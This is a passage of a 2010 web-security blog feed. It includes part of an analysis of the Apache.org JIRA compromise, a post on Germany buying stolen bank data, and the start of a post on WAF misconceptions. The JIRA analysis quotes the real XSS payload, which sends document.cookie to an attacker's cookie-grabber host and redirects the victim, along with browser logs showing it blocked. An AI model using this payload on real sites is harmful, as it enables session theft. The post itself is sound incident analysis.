href="http://blogs.zdnet.com/security/?p=6123&amp;amp;tag=nl.e539"&gt;http://blogs.zdnet.com/security/?p=6123&amp;amp;tag=nl.e539&lt;/a&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;The end URL destination that the attackers send the Apache admins to was this (with some data obscured) -&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;&amp;lt;meta%20http-equiv="refresh"%20content="0;url=http://pastie.org/904699"&amp;gt;&amp;lt;/noscript&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;document.write('&amp;lt;&lt;b&gt;img%20src="http://teap.zzl.org/teap.php?data='%2bdocument.cookie%2b'"/&amp;gt;');&lt;/b&gt;window.location="http://pastie.org/904699";&lt;br /&gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&amp;lt;!--&amp;amp;defaultColor=';try{//&lt;/blockquote&gt;As you can see, the attack is using some html/javascript tricks to force the user's browser to send the "document.cookie" DOM object data off site to the attacker's cookie grabber app (teap.php).  The attack payload is using an easy browser trick by placing the javascript data inside of an html IMG tag which makes it possible to bypass the DOM restrictions about different domains access cookie data from other domains.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here is how the XSS payloads looks if echoed back from JIRA -&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;div&gt;&amp;lt;script language="JavaScript" type="text/javascript"&amp;gt;&lt;/div&gt;&lt;div&gt;&amp;lt;!--&lt;/div&gt;&lt;div&gt;var defaultColor = ''&lt;b&gt;;try{//';&lt;/b&gt;&lt;/div&gt;&lt;div&gt;var choice = false;&lt;/div&gt;&lt;div&gt;var openerForm = opener.document.jiraform;&lt;/div&gt;&lt;div&gt;var openerEl = opener.document.jiraform.name;&lt;b&gt;}catch(e){}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;--&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;&amp;lt;meta equiv="refresh" content="0;url=http://pastie.org/904699"&amp;gt;&amp;lt;/noscript&gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src="http://teap.zzl.org/teap.php?data='+document.cookie+'" /&amp;gt;');window.location="http://pastie.org/904699";&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&amp;lt;!--;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;function colorIn(color) {&lt;/div&gt;&lt;div&gt;    if (!choice) {&lt;/div&gt;&lt;div&gt;        openerEl.value = color;&lt;/div&gt;&lt;div&gt;        document.f.colorVal.value = color;&lt;/div&gt;&lt;div&gt;    }&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;This attack also highlights the fact that URL Shortener applications (such as tinyurl in this case) can be abused by attackers to hide the destination URL payloads. There was some recent research done by ZScaler entitled "&lt;a href="http://research.zscaler.com/2010/03/are-url-shorteners-really-dangerous.html"&gt;Are URL Shorteners Really Dangerous&lt;/a&gt;" however it only focused on malware attacks through URL Shorteners and not XSS attack payloads.  As you can see, URL Shorteners are still dangerous as they can dupe and end user into clicking on it as there is no way to tell if the end URL is dangerous or not until you actually click on it.  This scenario is another great reason why a browser plugin such as &lt;a href="http://noscript.net/"&gt;NoScript&lt;/a&gt; is so important.  As a test, I clicked on the same tinyurl link in Firefox with NoScript and got a warning message and this data was logged in the console -&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;b&gt;[NoScript XSS] Sanitized suspicious request. &lt;/b&gt;Original URL [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/nos&lt;br /&gt;cript%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27);window.location=%22http://pastie.org/904&lt;br /&gt;699%22;%3C/script%3E%3Cscript%3E%3C!--&amp;amp;defaultColor=%27;try{//] &lt;b&gt;requested from [chrome://browser/content/browser.xul]. Sanitized URL:&lt;/b&gt; [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=NAME%3B%7Dcatch%20e%20%7B%7D%20-%3E%20%2Fscript%3E%20noscript%3E%20meta%20http-equiv=%20refresh%20content=%200%3Burl=http://pastie.org/904699%22%3E%3C/noscri&lt;br /&gt;pt%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%20http%3A%2F%2Fteap.zzl.org%2Fteap.php%3F&lt;br /&gt;data=%20%2BDOCUMENT.COOKIE%2B%20%20%2F%3E%20%20%3Bwindow.LOCATION=%20http%3A%2F%2Fp&lt;br /&gt;astie.org%2F904699%20%3B%20%2Fscript%3E%20script%3E%20!-&amp;amp;defaultColor=%20%3Btry%7B%2F%2F#376924726542634355].&lt;/blockquote&gt;&lt;b&gt;Thank You NoScript!&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Update - &lt;/b&gt;I also tested Google Chrome's XSS prevention (comparing inbound payloads with outbound response body data) and it seemed to work as it did not execute the XSS code and the Developer tools console showed this message -&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  color: rgb(255, 0, 0); white-space: pre-wrap; font-family:monospace;font-size:medium;"&gt;Refused to execute a JavaScript script. Source code of script found within request.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-7616233296866572317?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/7616233296866572317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=7616233296866572317' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7616233296866572317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7616233296866572317'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/04/apacheorg-compromised-through-xss.html' title='Apache.org Compromised Through XSS'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-6334075717381982544</id><published>2010-04-08T11:27:00.004-04:00</published><updated>2010-04-14T17:03:12.018-04:00</updated><title type='text'>German Government Pays Hacker For Stolen Bank Account Data</title><content type='html'>&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;By Ryan Barnett 04/08/2010&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;!--StartFragment--&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;The &lt;/span&gt;&lt;/span&gt;&lt;a href="https://wasc-whid.dabbledb.com/page/wasc-whid/dXhcaNXd?filter33485=&amp;amp;filter33487=2010-64&amp;amp;filter33477=&amp;amp;filter38336=&amp;amp;filter33483=&amp;amp;filter33473=&amp;amp;filter33465=&amp;amp;filter33467=&amp;amp;filter33469=&amp;amp;filter33471=&amp;amp;filter33475=&amp;amp;filter33479=&amp;amp;filter33481=&amp;amp;filter35431=#////////////filter33487:MjAxMC02NA==//"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;latest entry to the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;WASC&lt;/span&gt; Web Hacking Incident Database (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;WHID&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; is pretty interesting (below).  The attack method is currently unknown (most likely candidate is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;SQL&lt;/span&gt; Injection due to bulk extraction of account holder data) however this story is a really good discussion topic and is why it is being included in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;WHID&lt;/span&gt; at this time.  &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;The short of it is that someone hacked into some banks in Germany and Switzerland and stole account data about customers.  Many of the banks are used as havens for people to hide their money for tax evasion purposes.  The banks identified that this happened and did not notify their customers that their data was stolen.  Well, the attacker decided to sell the stolen account data to the German government who then used the data to track down the account holders who were hiding money.  The German government is now seeking back taxes and penalties against the account holders.  The final piece of the story that is interesting is that one account holder ended up suing (and won by the way) the Bank for not notifying him about the stolen data with the rationale being that if he had known then he could have come forward to the German government and avoided additional penalties during the grace period.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;All I can say is WOW.  All four players in this story (the account holder, the bank, the attacker and the German government) *all* have dirty hands...  It will be interesting to see what plays out in the future and if other Governments adopt a similar philosophy of paying for stolen data.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;span style=" font-weight:600;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Entry Title: &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;WHID&lt;/span&gt; 2010-64: Taxman rakes in hundreds of millions thanks to stolen bank data&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;WHID&lt;/span&gt; ID:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; 2010-64&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Date &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;Occurred&lt;/span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; April 7, 2010&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Attack Method:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; Unknown&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Outcome: &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Monetary Loss&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Incident Description: &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;A fascinating story about how the German government has decided to buy stolen bank data in order to go after German citizens who have not paid taxes on their hidden accounts. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;An interesting twist in another case involving &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;LGT&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;Treuhand&lt;/span&gt;, a Bad Homburg business man won millions in damages in a suit against the bank for failing to reveal that his information was stolen along with hundreds of other account holders and sold to German authorities for a criminal investigation. He argued that if the bank had informed those on the list that their data had been sold, they could have turned themselves in, receiving temporary amnesty and much lower fines.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Attack Source Geography: &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Attacked Entity Field: &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Finance&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Attacked Entity Geography:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; Germany&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Reference: &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;a href="http://www.thelocal.de/article.php?ID=26381"&gt;http://www.thelocal.de/article.php?ID=26381&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--EndFragment--&gt;&lt;/p&gt;&lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; -qt-user-state:0;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Update&lt;/b&gt; - Apparently, the attacker in this case was a former employee and stole the account data by burning them to CDs.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-6334075717381982544?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/6334075717381982544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=6334075717381982544' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/6334075717381982544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/6334075717381982544'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/04/german-government-pays-hacker-for.html' title='German Government Pays Hacker For Stolen Bank Account Data'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-4195627849260855582</id><published>2010-04-07T08:43:00.007-04:00</published><updated>2010-04-08T12:41:08.127-04:00</updated><title type='text'>WAF Confusion Continues</title><content type='html'>&lt;span style="font-style:italic;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;By Ryan Barnett 04/07/2010&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Frost&amp;amp;Sullivan recently held an Analyst briefing entitled "&lt;/span&gt;&lt;a href="http://www.frostandsullivan.com/prod/servlet/analyst-briefing-detail.pag?mode=open&amp;amp;sid=192378074"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Analyst Briefing: Web Application Firewall: A Critical Defense For an Information Centric World&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;" in which they provided an overview of the &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; market in the Asia Pacific region.  &lt;/span&gt;&lt;a href="http://www.slideshare.net/FrostandSullivan/web-application-firewall-waf-a-critical-defence-for-an-informationcentric-world"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Slides 5 and 6 of the presentation&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; showed that there are still misconceptions about &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; where organizations don't fully understand what they are and when they need them.  There were two questions asked in the survey about &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; understanding.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_E0YEPhKPc2k/S7yBOv0GXiI/AAAAAAAAAGw/TRi2SxR86q8/s1600/waf_confusion_1.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 221px;" src="http://3.bp.blogspot.com/_E0YEPhKPc2k/S7yBOv0GXiI/AAAAAAAAAGw/TRi2SxR86q8/s320/waf_confusion_1.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5457378938819337762" /&gt;&lt;/a&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The first question was &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;"What is the first function that comes to mind when I mention the term "Web Application Firewall?"&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; The top 6 responses are shown in the graphic on the right.  As you can see, the two most telling responses were that 19.3% of respondents thought about Network Security.  I attribute this response to two main factors:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;A lack of understanding of the threat.  Many organization don't understand that professional criminals' #1 targets are web applications.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;An unfortunate side-effect of the name &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;.  Having the term "firewall" in the name understandably leads people to think of network security devices.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The other interesting response was that 13% thought about IDS/&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;.  This also leads to two thoughts:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Many people are using a &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; as only an HTTP-Aware IDS/&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; and utilizing only a negative security model.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Some of these respondents may not know that a &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; has other protection mechanisms beyond typical IDS/&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; capabilities.  Items such as positive security, automated learning and session based protections are what really differentiates &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; from other security devices.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The second question in the survey was "Agreement Towards Statements Concerning Web Application Firewalls."  They asked 6 questions and the responses to two of them again shows a lack of understanding of when/how &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; can help.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_E0YEPhKPc2k/S7yNAKnQRBI/AAAAAAAAAG4/dmeqbv_P0-A/s1600/waf_confusion_2.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 220px;" src="http://3.bp.blogspot.com/_E0YEPhKPc2k/S7yNAKnQRBI/AAAAAAAAAG4/dmeqbv_P0-A/s320/waf_confusion_2.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5457391882454713362" /&gt;&lt;/a&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Having a powerful network firewall is sufficient to make up for a lack of a &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;&lt;span class="Apple-style-span" style="font-size: 